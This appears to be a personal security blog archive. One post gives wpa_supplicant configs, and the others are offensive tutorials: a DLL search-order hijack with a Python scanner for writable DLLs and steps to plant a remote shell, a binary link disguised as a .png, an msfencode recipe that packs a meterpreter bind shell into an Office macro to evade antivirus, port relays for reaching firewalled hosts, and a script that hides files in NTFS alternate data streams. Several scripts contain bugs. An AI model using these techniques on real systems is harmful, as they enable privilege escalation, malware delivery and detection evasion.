______ Y ______

My own personal time capsule.

Category Archives: api

wpa_supplicant – quick reference

wpa_supplicant is an amazing tool for linux that allows to connect to various WPA-enabled networks. Frankly speaking is so simple to use that it should take less than 30sec to configure provided that you know what config can be used for which network. Here is the list of tested configs:

Open Network

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
ssid="<your SSID>"
key_mgmt=NONE
priority=2
}

WPA Network

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
scan_ssid=1 
ssid="<your SSID>"
proto=WPA
key_mgmt=WPA-PSK
pairwise=CCMP TKIP
group=CCMP TKIP WEP104 WEP40
psk=<psk key> 
}

WPA2 Network

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
scan_ssid=1
mode=0
ssid="<your SSID>"
proto=WPA2
key_mgmt=WPA-PSK
pairwise=CCMP TKIP
group=CCMP TKIP
psk="<psk key>
}

EAP-PEAP

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
scan_ssid=1
mode=0
ssid="<your SSID>"
proto=RSN
key_mgmt=WPA-EAP
pairwise=CCMP
wpa=group=CCMP
eap=PEAP
priority=2
eapol_flags=0
identity="<username>"
password="<password>"
}

Cisco LEAP

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
scan_ssid=1
mode=0
ssid="<your SSID>"
proto=WPA
key_mgmt=WPA-EAP
pairwise=TKIP
eap=LEAP
priority=2
auth_alg=LEAP
eapol_flags=0
identity="<username>"
password="<password>"
}

EAP-TTLS

ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
scan_ssid=1
mode=0
ssid="<your SSID>"
proto=RSN
key_mgmt=IEEE8021X
wpa-phase2=PAP # [Can also be: CHAP, MSCHAP, MSCHAPV2]
eap=TTLS
identity="<username>"
password="<password>"
}

EAP-TLS

step 1)
openssl pkcs12 -in <your_network_certificate>.pfx -out ca.pem -cacerts -nokeys
openssl pkcs12 -in <your_network_certificate>.pfx -out user.pem -clcerts
step 2) wpa_supplicant config: 
ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
ctrl_interface_group=0
network={
      ssid="<your SSID>"
      scan_ssid=1
      key_mgmt=WPA-EAP
      pairwise=CCMP TKIP
      group=CCMP TKIP
      eap=TLS
      identity="username"
      ca_cert="cert.pem"
      client_cert="ca.pem"
      private_key="user.pem"
      private_key_passwd="1234"
}

How do we even use wpa_supplicant? Simply follow these steps:

Step 1) download and install it (source here)
Step 2) save one of the above configs to a file – e.g. ‘/etc/wpa_supplicant_LEAP.conf’
Step 3) if the network is PSK based use wpa_passphase to generate it & copy into the config – note the ‘psk key’ markers in the configs above where the PSK should be
Step 4) run wpa_supplicant as follows:

wpa_supplicant -c <path_to_your_config_file> -i <your interface>

Alternatively run above command with -dd for extra debugging output.

DLL Alghoritm Hijack Privilage Escalation

So lately I’ve heard a lot about how you can use the DLL search algorithm to hijack the library during the loading time (KB2269637) and execute your own code. I found this to be rather curious way to exploit the system as in simple terms we can just replace one of the libraries listed by this script to execute our own code. Simple yet very effective ;D

Here is how the exploitation can happen:
1) Login onto the box
2) Find the DLL’s outside of the MS protection zone (check this for some details)
3) Replace the DLL with your version with i.e. remote connection shell stored in the same folder as the executable we want to attack
4) Wait for the execution via user interaction or execute the program yourself if you got sufficient rights
5) Enjoy the shell

Here is the binary distribution (of course remove .png from file name ending and do wget on the following link) :
https://waitfordebug.wordpress.com/wp-content/uploads/2012/12/windows-dll-search-privesc-zip.png

Here is the sourcecode:


print "[+] DLL Search Algorithm Privesc Check by Y"
print "[+] contact : If you know me then give me a shout"
print "\n"

### Imports
import win32com.client
import sys
from ctypes import *
from ctypes.wintypes import *
import sys
import os
from optparse import OptionParser

### Define System DLL's
kernel32 = windll.kernel32
advapi32 = windll.advapi32


class TOKEN_PRIVS(Structure):
    _fields_ = (
        ("PrivilegeCount",    ULONG),
        ("Privileges",        ULONG * 3)
    )
    
    
def getDrives():
    print "[+] Enumerating current partitions"
    drivebits=k.GetLogicalDrives()
    partition_list = list_unsafecalls()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                partition_list.append(drive_letter)
                print "\t[+]Found drive: %s" % drive_letter
    return partition_list

def get_debug_privs():
        try:
            print "[+] Danger Will Robinson, We are elevating ourself to god level!"
            token = HANDLE()
            advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x00000020, byref(token))
            privs = TOKEN_PRIVS()
            privs.PrivilegeCount = 1
            privs.Privileges = (0x14, 0, 2) 
            advapi32.AdjustTokenPrivileges(token, 0, byref(privs), 0, 0, 0)
            print "\t [+] Privilege Adjusted Successfully"
            kernel32.CloseHandle(token)   
        except:
            print "\t [-]Unable to elevate. Exiting ..."  
            sys.exit()


def get_win32_product():
    try:
        objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator")
        objSWbemServices = objWMIService.ConnectServer(".","root\cimv2")
        colItems = objSWbemServices.ExecQuery("Select * from Win32_Product")
        installed_soft = {}
        for objItem in colItems:
            installed_soft[objItem.Caption] = {'InstallLocation':objItem.InstallLocation,
                                           'InstallName':objItem.InstallSource,
                                           'InstallState':objItem.InstallState,
                                           'InstallSoftware':objItem.Caption,
                                           'InstallID':objItem.IdentifyingNumber,
                                           'InstallDate':objItem.InstallDate,
                                           'InstallLocalPackage':objItem.LocalPackage
                                           }

        print "\t[+] We Have The 'List'!"
        return installed_soft
    except:
        print "\t[-] Could not acquire software list"
        return None

def find_dlls_in_folder(location):
    list_dlls = []
    for folder in location:
        
        for dirname, dirnames, filenames in os.walk(folder):
            for dirfolder in dirnames:
                # we need to be able to write to the folder (inherited permissions)
                if os.access(os.path.join(dirname,folder),os.W_OK):
                    for nm in filenames:
                        if str(nm).lower().endswith(".dll"):
                            list_dlls.append(os.path.join(dirname, nm))
                else:
                    # Can't write to the folder = can't do anything
                    pass

    return list_dlls
              

def get_partitions():
    print "[+] The following partitions exists:"
    drivebits=kernel32.GetLogicalDrives()
    partition_list = list()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                # need only network and fixed drives
                if kernel32.GetDriveTypeA(drive_letter) == 3 or kernel32.GetDriveTypeA(drive_letter) == 4:
                    partition_list.append(drive_letter)
                    print "\t[+]Found static, readable drive: %s" % drive_letter
                else:
                    pass
    return partition_list

def find_all_dll():
    list_dlls = []
    partitions = get_partitions()
    print "[+] Searching for elevation points"
    for drive in partitions:
         for dirname, dirnames, filenames in os.walk(drive):
             for dirfolder in dirnames:
                 # we need to be able to write to the folder (inherited permissions)
                 if os.access(os.path.join(dirname,dirfolder),os.W_OK):
                     for nm in filenames:
                         if str(nm).lower().endswith(".dll"):
                              list_dlls.append(os.path.join(dirname, nm))
    return list_dlls
        
def find_vulnerable_in_system(system_dll):
    loc = []
    for location in system_dll:
         # The original author 'forgot' to mention that you can't write to program files or windows
         # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
         # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
        if not location.startswith(os.environ['ProgramFiles']):
            if not location.startswith(os.environ['windir']):
                loc.append(location)  
    return loc


def find_vulnerable(prod_list):
    loc = []
    for elems in prod_list.keys():
        location =  prod_list[elems].get('InstallLocation')
        if location != None:
            # The original author 'forgot' to mention that you can't write to program files or windows
            # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
            # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
            if not location.startswith(os.environ['ProgramFiles']):
                if not location.startswith(os.environ['windir']):
                    loc.append(location)
                    
        else:
            # This will have to be checked, not all installs give you the list of locations
            pass
    return find_dlls_in_folder(loc)
    

  
  
def main():
    usage = """
    This script will find all of the DLL libraries which can be exploited to 
    perform DLL code injection. 

    Reference: KB2269637
    """
    
    parser = OptionParser(usage)
     
    parser.add_option("-s","--scan",action="store_true", dest="scann_flag",default=False,
                      help="Scan the file system for DLL's instead of querying WMI")
    (options, args) = parser.parse_args()
    
    if options.scann_flag == True:
        
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Finding details"
        dll_list = find_all_dll()
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable_in_system(dll_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
    else:
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Getting Software List"
        prod_list = get_win32_product() # Will have to rewrite this to be API-only based
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable(prod_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
        else:
            print "[+] No Vulnerable DDL's could be identified"
    
    print "[+] Done"
            
if __name__ == '__main__':
    main()
            

Avoiding Anti-Virus with msfencode and Office

Quite simple actually, provided that we know how to use msfencode templates (-x option) to work with the payload. This can be done in few simple steps:

1) Generate payload
2) Pipe it to msfencode with -x option ( use i.e. psexec.exe as template )
3) Use to create vbs script with binary representation of the code
4) Paste the output to the macro in Word, Excel or anything else from Office suite
5) Run “ShellcodeExecute” macro from inside of Office

So in command prompt it looks like:

./msfpayload windows/meterpreter/bind_tcp LPORT=4999 R | msfencode -e x86/shikata_ga_nai -c 8 -x /pentest/windows-binaries/pstools/psexec.exe -t raw > BIND_4999.R && python /pentest/tools/custom/shellcode2vbs.py BIND_4999.R BIND_4999.vbs 

And finally copy & paste ‘BIND_4999.vbs’ content into MSWord document as macro. Now upload it to crate a listener shell on the system you got access to.
This can be nicely combined with port forwarding if access to the system is restricted by i.e. firewall or its a DMZ.

Port forwarding on Windows

Sometimes almost a magical task but turns out that there is a way to easily forward the ports on windows by executing this command:

> netsh 
> interface portproxy add v4tov4 listenport=445 listenaddress=192.168.0.1 connectport=445 connectaddress=192.168.0.2

This will forward port 445 from 192.168.0.1 to 192.168.0.2 on windows.

As per Linux:

> iptables -A PREROUTING -t nat -i eth1 -p tcp --source 192.168.0.5 --dport 8080 -j DNAT --to 192.168.0.2:8080

If neither is accessible, then netcat can be used to send content of the stream to specific port:

nc -L -p 6555 | nc 192.168.0.2:8080  

Alternate Data Streams File Hider In Python

Alternate Data Streams (ADS) is a nice little feature in NTFS system that practically allows to hide the files in one of the ‘streams’ mandatory supported by NTFS system. In practice, there are not many anty-viruses that check such streams thus it may be sometimes handy to lunch a new process from the ADS that wont be picked up by ‘on-access’ scan engine. The code below will use windows API ( kernel32.dll again ) to find static drives and write a file to ADS.

Steps to follow:
1) Enumerate all the partitions
2) Check for static drive
3) Get the list of first 1000 files
4) Select 1 of the files from the list
5) Use it to write to ADS

NOTE: ADS does not survive compression or many other file operations so once put in place it can be only copied to other locations


print "[+] Advance Data Stream Hider by Y"
print "[+] Will hide selected file in random ADS on the writable drive"
print "[+] contact : If you know me then give me a shout"
print "[+] usage: ./ads_hide.py <FILE_PATH>"
print "\n"

# define imports
import ctypes
import os 
import random
import stat
import string
import sys.argv

#define kernel32 dll
kernel32 = ctypes.windll.kernel32


def getDrives():
    print "[+] Enumerating the list of current partitions"
    drivebits=kernel32.GetLogicalDrives()
    partition_list = list()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                partition_list.append(drive_letter)
                print "\t[+]Found drive: %s" % drive_letter
    return partition_list

def getDriveInfo(drives):
    clean_list = list()
    for dx in drives:
        t = kernel32.GetDriveTypeA(dx)
        if t == 3:
            print "\t[+] Found Fixed Drive : " , dx
            # if we have DRIVE_FIXED
            clean_list.append(dx)
        elif t == 4: # its DRIVE_REMOTE # <- this is good for viruses
            pass
        else:
            # dont append any other type of drive
            pass
    return clean_list

def genRandomPath(drive):
    # enumerate and return random path from the drive ( limit to 1000 possible variants for speed )
    counter = 0
    list_dirs = list()
    for dirname, dirnames, filenames in os.walk(drive):
        for nm in filenames:
            list_dirs.append(os.path.join(dirname, nm))
            counter +=1
            if counter == 1000:
                return list_dirs
            else:
                continue

def getRandomDrive(list_writable_drives):
    print "[+] Selecting Partition"
    size = len(list_writable_drives)
    int = random.randrange(0,size)
    return list_writable_drives[int]

def selectRandomPath(limit,list):
    print "[+] Choosing $PATH"
    int = random.randrange(0,limit)
    return list[int]

def isFileWritable(filepath):
    print "[+] Checking File Write Permission"
    st = os.stat(filepath)
    return bool(st.st_mode & stat.S_IWGRP )

def write(file,path):
    filename,extension = str(file).split(".")
    name = ''.join(random.choice(string.ascii_uppercase + string.digits + string.lowercase) for x in range(random.randrange(4,20)))
    const = str(name)+"."+str(extension)
    
    command = "type %s > %s:%s" % (file,path,const)
    os.popen(command)
    l = str(path)+":"+str(const)
    print "[+] File Hidden In: %s" % l

def ADS_HIDE(FILE_PATH):
    drives =  getDrives()
    print "[+] Checking Drive Type"
    list_to_write = getDriveInfo(drives)
    drive_to_search =  getRandomDrive(list_to_write)
    print "[+] Constructing ADS"
    # first attempt to get files
    path = selectRandomPath(1000,genRandomPath(drive_to_search))
    # check permissions on the file
    if (isFileWritable(path) == True):
        print "[+] Writing to ADS"
        write(FILE_PATH,path)
    else:
        # select another path from the list 
        path = selectRandomPath(1000,genRandomPath(drive_to_search))
        print "[+] Writing to ADS"
        write(FILE_PATH,path)
    


FILE = str(sys.argv[1])
ADS_HIDE(FILE)


Again, this code is here only for the educational purposes.